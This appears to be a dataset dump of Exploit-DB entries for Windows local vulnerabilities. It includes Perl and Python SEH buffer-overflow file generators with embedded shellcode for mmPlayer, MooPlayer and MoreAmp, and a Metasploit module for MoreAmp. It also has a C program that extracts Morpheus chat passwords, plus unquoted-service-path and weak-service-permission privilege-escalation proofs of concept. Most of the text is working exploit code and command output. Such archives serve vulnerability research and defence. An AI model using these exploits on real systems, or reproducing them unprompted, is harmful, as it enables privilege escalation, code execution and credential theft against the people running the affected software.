deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51578
Description: MiniTool Partition Wizard ShadowMaker v.12.7 - Unquoted Service Path _MTAgentService_
Type: local
Platform: windows
Date: 2023-07-11
Author: Idan Malihi

Exploit:
# Exploit Title: MiniTool Partition Wizard ShadowMaker v.12.7 - Unquoted Service Path
# Date: 06/07/2023
# Exploit Author: Idan Malihi
# Vendor Homepage: https://www.minitool.com/
# Software Link: https://www.minitool.com/download-center/
# Version: 12.7
# Tested on: Microsoft Windows 10 Pro
# CVE : CVE-2023-36164

# PoC

C:\Users>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
MTAgentService                                                                      MTAgentService                            C:\Program Files (x86)\MiniTool ShadowMaker\AgentService.exe                             Auto

C:\Users>sc qc MTAgentService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MTAgentService
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\MiniTool ShadowMaker\AgentService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : MTAgentService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users>systeminfo

Host Name:                 DESKTOP-LA7J17P
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19042 N/A Build 19042
OS Manufacturer:           Microsoft Corporation
Exploit-DB #51579
Description: MiniTool Partition Wizard ShadowMaker v.12.7 - Unquoted Service Path _MTSchedulerService_
Type: local
Platform: windows
Date: 2023-07-11
Author: Idan Malihi

Exploit:
# Exploit Title: MiniTool Partition Wizard ShadowMaker v.12.7 - Unquoted Service Path
# Date: 06/07/2023
# Exploit Author: Idan Malihi
# Vendor Homepage: https://www.minitool.com/
# Software Link: https://www.minitool.com/download-center/
# Version: 12.7
# Tested on: Microsoft Windows 10 Pro
# CVE : CVE-2023-36165

#PoC

C:\Users>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
MTSchedulerService                                                                  MTSchedulerService                        C:\Program Files (x86)\MiniTool ShadowMaker\SchedulerService.exe                         Auto

C:\Users>sc qc MTSchedulerService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MTSchedulerService
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\MiniTool ShadowMaker\SchedulerService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : MTSchedulerService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users>systeminfo

Host Name:                 DESKTOP-LA7J17P
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19042 N/A Build 19042
OS Manufacturer:           Microsoft Corporation
Exploit-DB #49336
Description: MiniTool ShadowMaker 3.2 - 'MTAgentService' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-01-04
Author: Thalia Nieto

Exploit:
# Exploit Title: MiniTool ShadowMaker 3.2 - 'MTAgentService' Unquoted Service Path
# Discovery by: Thalia Nieto
# Discovery Date: 02/01/21
# Vendor Homepage: https://www.minitool.com
# Software Link: https://www.minitool.com/backup/thanks-download.html?v=sm-free&r=download-center/
# Tested Version: 3.2
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, name | findstr /i "MTAgentService"

MTAgentService	MTAgentService	C:\Program Files\MiniTool ShadowMaker\AgentService.exe

# Service info:

C:\>sc qc "MTAgentService"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: MTAgentService
        TIPO               : 110  WIN32_OWN_PROCESS (interactive)
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\MiniTool ShadowMaker\AgentService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : MTAgentService
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #19993
Description: Mirabilis ICQ 2000.0 A - Mailclient Temporary Link
Type: local
Platform: windows
Date: 2000-06-06
Author: Gert Fokkema

Exploit:
source: https://www.securityfocus.com/bid/1307/info

While using ICQmailclient, the user creates a temporary internet link created in a default temporary directory, which remains even after the user signs out or closes ICQ. This link may be re-opened by another user, thus giving them full access to the ICQmail webaccount. 

The temporary link can be found in the default temp file (eg. c:\temp) and appears as:
http://cf.icq.com/cgi-bin/icqmail/write.pl5?uname=username&[CREDENTIAL_REDACTED]
Exploit-DB #8175
Description: mks_vir 9b < 1.2.0.0b297 - 'mksmonen.sys' Local Privilege Escalation
Type: local
Platform: windows
Date: 2009-03-09
Author: NT Internals

Exploit:
////////////////////////////////////////////////////////////////////////////////////
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | MKS Sp. z o. o. - http://www.mks.com.pl/                                   | //
// |                                                                            | //
// | Affected Software:                                                         | //
// | mks_vir 9 BETA < 1.2.0.0 - build 297                                       | //
// |                                                                            | //
// | Affected Driver:                                                           | //
// | mksmonen.sys                                                               | //
// |                                                                            | //
// | Local Privilege Escalation Exploit                                         | //
// | For Educational Purposes Only !                                            | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | NT Internals - http://www.ntinternals.org/                                 | //
// | alex ntinternals org                                                       | //
// | 07 March 2009                                                              | //
// |                                                                            | //
// | References:                                                                | //
// | mks_vir (mksmonen.sys) Privilege Escalation Vulnerability                  | //
// | NTIADV0809 - http://www.ntinternals.org/ntiadv0809/ntiadv0809.html         | //
// |                                                                            | //
// | Exploiting Common Flaws in Drivers                                         | //
// | Ruben Santamarta - http://www.reversemode.com/                             | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
////////////////////////////////////////////////////////////////////////////////////

Exploit:
http://ntinternals.org/ntiadv0809/MksMonEn_Exp.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8175.zip (2009-MksMonEn_Exp.zip)


Advisory:
http://ntinternals.org/ntiadv0809/ntiadv0809.html

# milw0rm.com [2009-03-09]
Exploit-DB #18656
Description: mmPlayer 2.2 - '.m3u' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2012-03-23
Author: RjRjh Hack3r

Exploit:
#!/usr/bin/perl
# Title: mmPlayer 2.2 (.m3u) Local Buffer Overflow Exploit (SEH)
# Date: 23.03.2012
# Author: RjRjh Hack3r
# Software Link: http://www.brnameg.com/download.php?id=3859
# Tested on: Windows XP SP2 (EN)

my $file= "RjRjh.m3u";
my $junk= "\x41" x 4090;
my $next_seh= "\xEB\x06\x90\x90";
my $seh= "\x23\xC0\xB4\x76"; # pop/pop/ret 0x76B4C023 (winmm.dll) EBX
my $nop = "\x90" x 20;

# calc.exe
my $buf =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x30\x42\x30\x42\x30\x4b\x48\x45\x34\x4e\x53\x4b\x48\x4e\x47".
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x34\x4a\x41\x4b\x58".
"\x4f\x35\x42\x32\x41\x30\x4b\x4e\x49\x34\x4b\x38\x46\x33\x4b\x38".
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c".
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x33\x46\x55\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x58".
"\x4f\x55\x46\x32\x41\x30\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54".
"\x4b\x38\x4f\x45\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x48".
"\x41\x30\x4b\x4e\x49\x38\x4e\x55\x46\x42\x46\x50\x43\x4c\x41\x43".
"\x42\x4c\x46\x56\x4b\x58\x42\x54\x42\x53\x45\x48\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x34\x4e\x30\x4b\x38\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x58\x4a\x46\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b".
"\x42\x30\x42\x30\x42\x30\x4b\x38\x4a\x46\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37".
"\x42\x45\x4a\x56\x42\x4f\x4c\x38\x46\x50\x4f\x35\x4a\x56\x4a\x59".
"\x50\x4f\x4c\x48\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x36".
"\x4e\x36\x43\x36\x42\x50\x5a";
open($File,">$file");
print $File $junk.$next_seh.$seh.$nop.$buf;
close($File);
Exploit-DB #18657
Description: mmPlayer 2.2 - '.ppl' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2012-03-23
Author: RjRjh Hack3r

Exploit:
#!/usr/bin/perl
# Title: mmPlayer 2.2 (.ppl) Local Buffer Overflow Exploit (SEH)
# Date: 23.03.2012
# Author: RjRjh Hack3r
# Software Link: http://www.brnameg.com/download.php?id=3859
# Tested on: Windows XP SP2 (EN)

my $file= "RjRjh.ppl";
my $junk= "\x41" x 4090;
my $next_seh= "\xEB\x06\x90\x90";
my $seh= "\x23\xC0\xB4\x76"; # pop/pop/ret 0x76B4C023 (winmm.dll) EBX
my $nop = "\x90" x 20;

# calc.exe
my $buf =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x30\x42\x30\x42\x30\x4b\x48\x45\x34\x4e\x53\x4b\x48\x4e\x47".
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x34\x4a\x41\x4b\x58".
"\x4f\x35\x42\x32\x41\x30\x4b\x4e\x49\x34\x4b\x38\x46\x33\x4b\x38".
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c".
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x33\x46\x55\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x58".
"\x4f\x55\x46\x32\x41\x30\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54".
"\x4b\x38\x4f\x45\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x48".
"\x41\x30\x4b\x4e\x49\x38\x4e\x55\x46\x42\x46\x50\x43\x4c\x41\x43".
"\x42\x4c\x46\x56\x4b\x58\x42\x54\x42\x53\x45\x48\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x34\x4e\x30\x4b\x38\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x58\x4a\x46\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b".
"\x42\x30\x42\x30\x42\x30\x4b\x38\x4a\x46\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37".
"\x42\x45\x4a\x56\x42\x4f\x4c\x38\x46\x50\x4f\x35\x4a\x56\x4a\x59".
"\x50\x4f\x4c\x48\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x36".
"\x4e\x36\x43\x36\x42\x50\x5a";
open($File,">$file");
print $File $junk.$next_seh.$seh.$nop.$buf;
close($File);
Exploit-DB #51479
Description: MobileTrans  4.0.11 - Weak Service Privilege Escalation
Type: local
Platform: windows
Date: 2023-05-23
Author: Thurein Soe

Exploit:
# Exploit Title :MobileTrans  4.0.11 - Weak Service Privilege Escalation
# Date: 20  May 2023
# Exploit Author: Thurein Soe
# Vendor Homepage: https://mobiletrans.wondershare.com/
# Software Link:
https://mega.nz/file/0Et0ybRS#l69LRlvwrwmqDfPGKl_HaJ5LmbeKJu_wH0xYKD8nSVg
# Version: MobileTrans version 4.0.11
# Tested on: Window 10 (Version 10.0.19045.2965)
# CVE : CVE-2023-31748



Vulnerability Description:

MobileTrans is World 1 mobile-to-mobile file transfer
application.MobileTrans version 4.0.11 was being suffered a weak service
permission vulnerability that allows a normal window user to elevate to
local admin. The "ElevationService" service name was installed, while the
MobileTrans version 4.0.11 was installed in the window operating system.
The service "ElevationService" allows the local user to elevate to the
local admin as The "ElevationService" run with system privileges.
Effectively, the local user is able to elevate to local admin upon
successfully modifying the service or replacing the affected executable.

C:\Users\HninKayThayar\Desktop>sc qc ElevationService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ElevationService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files
(x86)\Wondershare\MobileTrans\ElevationService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wondershare Driver Install Service help
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\HninKayThayar\Desktop>cacls "C:\Program Files
(x86)\Wondershare\MobileTrans\ElevationService.exe"
C:\Program Files (x86)\Wondershare\MobileTrans\ElevationService.exe
   Everyone:(ID)F
                                                                    NT
AUTHORITY\SYSTEM:(ID)F

BUILTIN\Administrators:(ID)F

BUILTIN\Users:(ID)R

APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(ID)R

APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(ID)R
Exploit-DB #36053
Description: MooPlayer 1.3.0 - 'm3u' Local Buffer Overflow (SEH) (1)
Type: local
Platform: windows
Date: 2015-02-11
Author: dogo h@ck

Exploit:
#!/usr/bin/env python
#################################################################
# Exploit Title: MooPlayer 1.3.0 'm3u' SEH Buffer Overflow      #
# Date Discovered: 10-02-2015                                   #
# Author: dogo h@ck                                             #
# Vulnerable Software: Moo player 1.3.0                         #
# Software Link: https://mooplayer.jaleco.com/                  #
# Version: 1.3.0                                                #
# Tested On: Windows XP SP3                                     #
#################################################################
#BadCharacters = ("\x00\x0a\x0d")                               #
#################################################################

head="http://"
buffer=10000
junk = "\x41" * 264
nseh = "\xeb\x06\x90\x90" 
seh = "\xe2\x69\xc8\x74"  #74C869E2 OLEACC.dll || Path=C:\WINDOWS\system32\OLEACC.dll

# Windows XP SP3 English MessageBoxA Shellcode

shellcode = ("\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\x51\x68\x6c\x6c\x20\x20\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72"
"\x89\xe1\xbb\x7b\x1d\x80\x7c\x51" # 0x7c801d7b ; LoadLibraryA(user32.dll)
"\xff\xd3\xb9\x5e\x67\x30\xef\x81"
"\xc1\x11\x11\x11\x11\x51\x68\x61"
"\x67\x65\x42\x68\x4d\x65\x73\x73"
"\x89\xe1\x51\x50\xbb\x40\xae\x80" # 0x7c80ae40 ; GetProcAddress(user32.dll, MessageBoxA)
"\x7c\xff\xd3\x89\xe1\x31\xd2\x52"
"\x51\x51\x52\xff\xd0\x31\xc0\x50"
"\xb8\x12\xcb\x81\x7c\xff\xd0")

poc = head + junk + nseh + seh + shellcode
junk1 = "\x44"*(buffer-len(poc))
poc += junk1
file = "payload.m3u"
f=open(file,"w")
f.write(head + poc);
f.close();
Exploit-DB #13942
Description: MoreAmp - '.maf' Local Stack Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-06-20
Author: Madjix

Exploit:
###################################################################
#Exploit Title : MoreAmp (.maf) local Stack Buffer Overflow (SEH)
#tested on windows xp SP 3 FR
#Author: MadjiX
#Special Greets:His0k4 [ where are you :( ]
#Greets:Bibi-info , Silectovic , Volc4n0
###################################################################
my $file= "MadjiX.maf";
my $junk = "\x41" x 108 ;
my $nseh = "\xeb\x06\x90\x90" ;
my $seh = "\xE1\x5B\x82\xC4" ;
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
open($FILE,">$file");
print $FILE $junk.$nseh.$seh.$shellcode;
close($FILE);
Exploit-DB #14397
Description: MoreAmp - Local Buffer Overflow (SEH) (Metasploit)
Type: local
Platform: windows
Date: 2010-07-17
Author: Madjix

Exploit:
#MoreAmp Seh Buffer Overflow (meta)
#Greetz:His0k4 , Bibi-info , Volc4n0
#sec4ever.com
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh
 
    def initialize(info = {})
        super(update_info(info,
            'Name' => 'MoreAmp 0.1.25 Beta Buffer Overflow (SEH)',
            'Description' => %q{
                This module exploits a SEH overflow in 0.1.25 MoreAmp Beta
            By creating a specially crafted .m3u file, an an attacker may be able
            to execute arbitrary code.
            },
            'License' => MSF_LICENSE,
            'Author' => 'MadjiX',
            'Version' => 'Version 1',
            'References' =>
                [
                    [ 'OSVDB', '65789' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/13942/' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload' =>
                {
                    'Space' => 1400,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'Windows XP SP3 Fr', { 'Ret' => 0x7C86467B} ], # 0x7C86467B jmp esp kernel.32
 
                ],
            'Privileged' => false,
            'DisclosureDate'  => '17-07-2010',
            'DefaultTarget' => 0))
 
        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'MadjiX.maf']),
            ], self.class)
    end
 
 
    def exploit
 
        sploit = rand_text_alphanumeric(108)
        sploit << "\xeb\x06\x90\x90"
        sploit << [target.ret].pack('V')
        sploit << payload.encoded
        sploit << rand_text_alphanumeric(400 - payload.encoded.length)
 
        maffile = sploit
        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(maffile)
 
    end
 
end
Exploit-DB #935
Description: Morpheus 4.8 - Local Chat Passwords Disclosure
Type: local
Platform: windows
Date: 2005-04-13
Author: Kozan

Exploit:
/*******************************************************************

Morpheus 4.8 Local Chat Passwords Disclosure Exploit by Kozan

Application: Morpheus 4.8 (and probably prior versions)
Vendor: Streamcast Networks - www.streamcastnetworks.com
Vulnerable Description: Morpheus 4.8 discloses chat passwords
to local users.


Discovered & Coded by: Kozan
Credits to ATmaCA
Web: www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*******************************************************************/

#include <stdio.h>
#include <string.h>
#include <windows.h>


HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;


int adresal(char *FilePath,char *Str)
{
char kr;
int Sayac=0;
int Offset=-1;
FILE *di;
di=fopen(FilePath,"rb");

if( di == NULL )
{
fclose(di);
return -1;
}

while(!feof(di))
{
Sayac++;
for(int i=0;i<strlen(Str);i++)
{
kr=getc(di);
if(kr != Str[i])
{
if( i>0 )
{
fseek(di,Sayac+1,SEEK_SET);
}
break;
}
if( i > ( strlen(Str)-2 ) )
{
Offset = ftell(di)-strlen(Str);
fclose(di);
return Offset;
}
}
}
fclose(di);
return -1;
}


char *oku(char *FilePath,char *Str)
{

FILE *di;
char cr;
int i=0;
char Feature[500];
char AhUlanSelmanOmrumuYedin = 0x0D;

int Offset = adresal(FilePath,Str);

if( Offset == -1 )
return "";

if( (di=fopen(FilePath,"rb")) == NULL )
return "";

fseek(di,Offset+strlen(Str),SEEK_SET);

while(!feof(di))
{
cr=getc(di);
if(cr == AhUlanSelmanOmrumuYedin)
break;
Feature[i] = cr;
i++;
}

Feature[i] = '\0';
fclose(di);
return Feature;
}




int main()
{
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{

lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
(LPBYTE) prgfiles, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
{
RegCloseKey(hKey);
printf("An error occured!\n");
exit(1);
}

RegCloseKey(hKey);

}
else
{
RegCloseKey(hKey);
printf("An error occured!\n");
exit(1);
}

strcat(prgfiles,"\\StreamCast\\Morpheus\\ChatServers.ini");


printf("Morpheus 4.8 Local Chat Password Disclosure Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("www.netmagister.com - www.spyinstructors.com \n");
printf("kozan@netmagister.com \n\n");

char Nickname[BUFSIZE], AltNick[BUFSIZE], Password[BUFSIZE];

strcpy(Nickname,oku(prgfiles,"Nick="));
strcpy(AltNick,oku(prgfiles,"AltNick="));
strcpy(Password,oku(prgfiles,"Pwd="));

printf("Nickname : %s\n",Nickname);
printf("Altnick : %s\n",AltNick);
printf("Password : %s\n",Password);

return 0;
} 

// milw0rm.com [2005-04-13]